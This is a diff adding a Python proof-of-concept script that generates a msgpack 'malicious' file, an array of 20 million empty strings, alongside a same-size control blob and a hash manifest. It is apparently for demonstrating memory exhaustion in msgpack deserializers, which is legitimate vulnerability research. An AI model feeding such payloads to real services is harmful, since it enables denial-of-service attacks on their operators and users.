Upload build_poc.py with huggingface_hub

build_poc.py

@@ -0,0 +1,56 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import hashlib
+import json
+from pathlib import Path
+
+import msgpack
+
+
+ROOT = Path(__file__).resolve().parent
+ARTIFACTS = ROOT / "artifacts"
+ENTRY_COUNT = 20_000_000
+
+
+def sha256(path: Path) -> str:
+    return hashlib.sha256(path.read_bytes()).hexdigest()
+
+
+def main() -> int:
+    ARTIFACTS.mkdir(parents=True, exist_ok=True)
+
+    malicious = msgpack.packb([""] * ENTRY_COUNT, use_bin_type=True)
+    control = msgpack.packb(b"A" * (len(malicious) - 5), use_bin_type=True)
+
+    control_path = ARTIFACTS / "control_bin32_same_size.msgpack"
+    malicious_path = ARTIFACTS / "malicious_array32_empty_strings_20000000.msgpack"
+    control_path.write_bytes(control)
+    malicious_path.write_bytes(malicious)
+
+    manifest = {
+        "msgpack": msgpack.__version__,
+        "entry_count": ENTRY_COUNT,
+        "control": {
+            "path": str(control_path),
+            "size": control_path.stat().st_size,
+            "sha256": sha256(control_path),
+            "type": "bin32",
+        },
+        "malicious": {
+            "path": str(malicious_path),
+            "size": malicious_path.stat().st_size,
+            "sha256": sha256(malicious_path),
+            "type": "array32",
+            "element_count": ENTRY_COUNT,
+            "element_value": "",
+        },
+        "same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
+    }
+    (ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
+    print(json.dumps(manifest, indent=2))
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())